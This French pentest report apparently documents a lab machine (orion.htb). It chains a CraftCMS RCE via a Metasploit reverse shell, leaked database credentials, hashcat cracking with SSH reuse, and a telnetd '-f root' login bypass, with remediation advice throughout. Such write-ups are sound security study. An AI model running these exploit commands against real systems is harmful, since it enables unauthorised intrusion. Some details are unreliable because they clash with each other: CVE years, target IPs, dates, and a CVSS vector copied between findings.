
RAPPORT D'EXPLOITATION TECHNIQUE

Nom du Projet : **Pentest-Orion**

Auteur : **Aurian-P**

Organisation : **Orion**

Cible : **orion.htb (10.129.103.195)**

Type d'évaluation : Pentest "**Boîte Noire**" (black box) interne

Date du test : **20/08/2026**

Version du document : **1**

Synthèse Exécutive & Périmètre

L'évaluation a permis la compromission totale du système cible avec l'obtention des privilèges d'administration maximaux (root).

1. Accès initial : Exécution de code à distance (RCE) non authentifiée via la CVE-2026-32432 sur CraftCMS, menant à un shell interactif sous l'utilisateur de service www-data.
2. Mouvement latéral : Découverte d'identifiants de base de données stockés en clair dans les variables d'environnement, permettant l'extraction du hash de mot de passe de l'utilisateur adam, suivi du cassage de ce dernier (mot de passe faible).
3. Élévation de privilèges : Exploitation locale d'un contournement d'authentification sur le démon telnetd (CVE-2026-24061), fournissant un accès root direct.

Sévérité	Nombre
Critique	1
Elevée	2
Moyenne / Faible	1

Cartographie des Services

Un balayage de ports avec Nmap a révélé les services exposés suivants :

Port/Protocole	Service	Version	Information supplémentaire
22/TCP	SSH	OpenSSH 8.9p1	Authentification par mot de passe autorisée
80/TCP	HTTP	Nginx 1.18.0 CraftCMS 5.6.16	Application Web "Orion Telecom" CraftCMS

Fiches détaillées des vulnérabilités

VULN -01: Injection de code sans authentification menant à un reverse shell.

Sévérité : Critique (CVSS v3.1 : 10,0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CWE : CWE-94 (Improper Control of Generation of Code, or "Code Injection")

Composant : CraftCMS 5.6.16 <http://orion.htb/actions/assets/generatetransform>

Description :

La vulnérabilité CVE-2026-32432 réside dans un traitement non sécurisé de tableaux JSON au sein du framework Yii2, permettant à un utilisateur distant non authentifié d'instancier des classes PHP arbitraires (Arbitrary Object Instantiation).

L'exploitation combine l'instanciation de classes spécifiques (ex. yii\rbac\PhpManager) avec une technique de Session Poisoning.

L'attaquant injecte du code PHP dans une session temporaire puis force le framework à l'exécuter via une inclusion de fichier local (LFI).

Preuve de concept :

Utilisation de l'exploit metasploit Linux/http/craftcms_preauth_rce_cve_2025_32432

```
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > exploit
[*] Started reverse TCP handler on 10.10.17.242:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Leaked session.save_path: /var/lib/php/sessions
[+] The target is vulnerable. Session path leaked
[*] Injecting stub & triggering payload...
[*] Sending stage (3106788 bytes) to 10.129.124.138
[*] Session ID 37 (10.10.17.242:5555 → 10.129.124.138:47566) processing AutoRunScript 'multi_console_command -rc '
[-] Could not execute multi_console_command: TypeError no implicit conversion of nil into String
[*] Meterpreter session 37 opened (10.10.17.242:5555 → 10.129.124.138:47566) at 2026-09-07 11:54:47 +0000

meterpreter > getuid
Server username: www-data
```

```
www-data@orion:~/html/craft/web$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Impact :

Divulgateion non autorisée d'informations sensibles réseau (fichiers PCAP) appartenant à d'autres utilisateurs ou services de l'application.

Recommandations / Remédiation :

Mettez à jour CraftCMS aux versions 3.9.15, 4.14.15 ou 5.6.17 ou ultérieures.
Si une mise à jour immédiate n'est pas possible, restreindre ou bloquer l'accès à l'endpoint /actions/assets/generatetransform.

VULN-02 : Stockage d'identifiants de base de données en clair dans l'environnement

Sévérité : Moyenne (CVSS v3.1 : 6,5 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

CWE : CWE-526 (Cleartext Storage of Sensitive Information in an Environment Variable)

Composant : /usr/bin/env

Description :

Le mot de passe d'administration de la base de données MariaDB est défini en clair au niveau des variables d'environnement accessibles par l'utilisateur système www-data.

Cette mauvaise pratique d'exposition d'informations sensibles permet à tout processus local d'extraire les secrets applicatifs sans restriction de privilèges.

Preuve de concept :

```
www-data@orion:~/html/craft$ cat .env
cat: .env: No such file or directory
```

```
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
```

```
www-data@orion:~/html/craft$ mysql -u root -p orion
mysql -u root -p orion
Enter password: SuperSecureCraft123Pass!
```

Impact :

Accès complet en lecture/écriture à la base de données du site orion, facilitant la fuite de données et le mouvement latéral vers d'autres comptes utilisateurs.

Recommandations / Remédiation :

Retirer les mots de passe des variables d'environnement globales.

Utiliser un fichier de configuration restreint (.env) avec des permissions POSIX strictes (chown root:www-data, chmod 640).

Appliquer le principe du moindre privilège sur le compte de la base de données (ne pas utiliser root).

VULN-03 : Politique de mots de passe faible (Hash Bcrypt vulnérable)

Sévérité : Elevée (CVSS v3.1 : 10,0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CWE : CWE-521 (Weak Password Requirements)

Composant : Base données MariaDB (orion.users) / Service SSH

Description :

Le mot de passe associé au compte adam (adam@orion.htb) dans la base de données utilise une chaîne de caractères trop simple (darkangel), facilement identifiable dans les dictionnaires d'attaques courants.

De plus, ce même mot de passe est utilisé pour la session système/SSH du compte utilisateur adam (réutilisation de mot de passe inter-domaines).

Preuve de concept :

Récupération des identifiants sur la BDD MariaDB :

```
MariaDB [orion]> SELECT username, email, password FROM users WHERE username='admin';
SELECT username, email, password FROM users WHERE username='admin';
+-----+-----+-----+
| username | email       | password |
+-----+-----+-----+
| admin    | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalc9Mz.5PJbjxob00GmbXo8NHp3P/B42LUg0lS |
+-----+-----+-----+
```

Craquage du mot de passe avec Hashcat :

```
hashcat -m 3200 ./hash.txt /usr/share/wordlists/rockyou.txt
$2y$13$e9zuohgFZzGtbQalc9Mz.5PJbjxob00GmbXo8NHp3P/B42LUg0lS:darkangel
```

Réutilisation des identifiants sur le service SSH :

```
ssh adam@10.129.124.138

adam@orion:~$ id
uid=1000(adam) gid=1000(adam) groups=1000(adam)
```

Impact :

Mouvement latéral depuis l'utilisateur web www-data vers le compte utilisateur système interactif adam, autorisant l'accès aux données utilisateur (user.txt).

Recommandations / Remédiation :

Imposer une politique de complexité et de longueur minimale des mots de passe (16 caractères minimum).

Interdire la réutilisation des mots de passe entre les comptes applicatifs et les comptes du système d'exploitation.

VULN-04 : bypass d'authentification dans telnetd v2.7 - CVE-2026-24061

Sévérité : Elevée (CVSS 3.1 : 7.8 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CWE : CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

Composant : telnetd (GNU InetUtils v2.7) écoutant sur 127.0.0.1:23

Description :

La vulnérabilité CVE-2026-24061 affecte le démon telnetd des GNU InetUtils (versions 1.9.3 à 2.7). Le service ne nettoie pas la variable d'environnement USER transmise par le client avant de la relayer au binaire système /bin/login.

En fournissant l'argument -f root dans la variable USER, l'attaquant force /bin/login à traiter la session comme pré-authentifiée, accordant immédiatement un shell interactif root sans validation de mot de passe.

Preuve de concept :

Vérification des services en écoute, découverte du port 23 en écoute :

```
adam@orion:~$ netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)

```

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State	PID/Program name
tcp	0	0	127.0.0.1:3306	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:22	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:80	0.0.0.0:*	LISTEN	-
tcp	0	0	127.0.0.1:23	0.0.0.0:*	LISTEN	-
tcp	0	0	127.0.0.53:53	0.0.0.0:*	LISTEN	-
tcp6	0	0	:::22	:::*	LISTEN	-
udp	0	0	127.0.0.53:53	0.0.0.0:*	-	-
udp	0	0	0.0.0.0:68	0.0.0.0:*	-	-

Recherche de la version du service telnetd :

```
adam@orion:~$ telnetd --version
telnetd (GNU inetutils) 2.7
```

Exécution de la commande d'exploitation de la CVE-2026-24061 :

```
adam@orion:~$ USER="-f root" telnet -a 127.0.0.1
Trying 127.0.0.1 ...
Connected to 127.0.0.1.
```

Validation des privilèges obtenus :

```
root@orion:~# id
uid=0(root) gid=0(root) groups=0(root)
```

Impact :

Élévation de privilèges immédiate vers root, entraînant la compromission totale du système cible (root.txt)

Recommandations / Remédiation :

Action immédiate : Désactiver et décommissionner intégralement le service telnetd (recommandation ANSSI/CERT-FR).

Remplacer Telnet par des liaisons SSH chiffrées et sécurisées.

Si le service ne peut être supprimé immédiatement, bloquer l'accès local via des règles de filtrage strictes (iptables / nftables).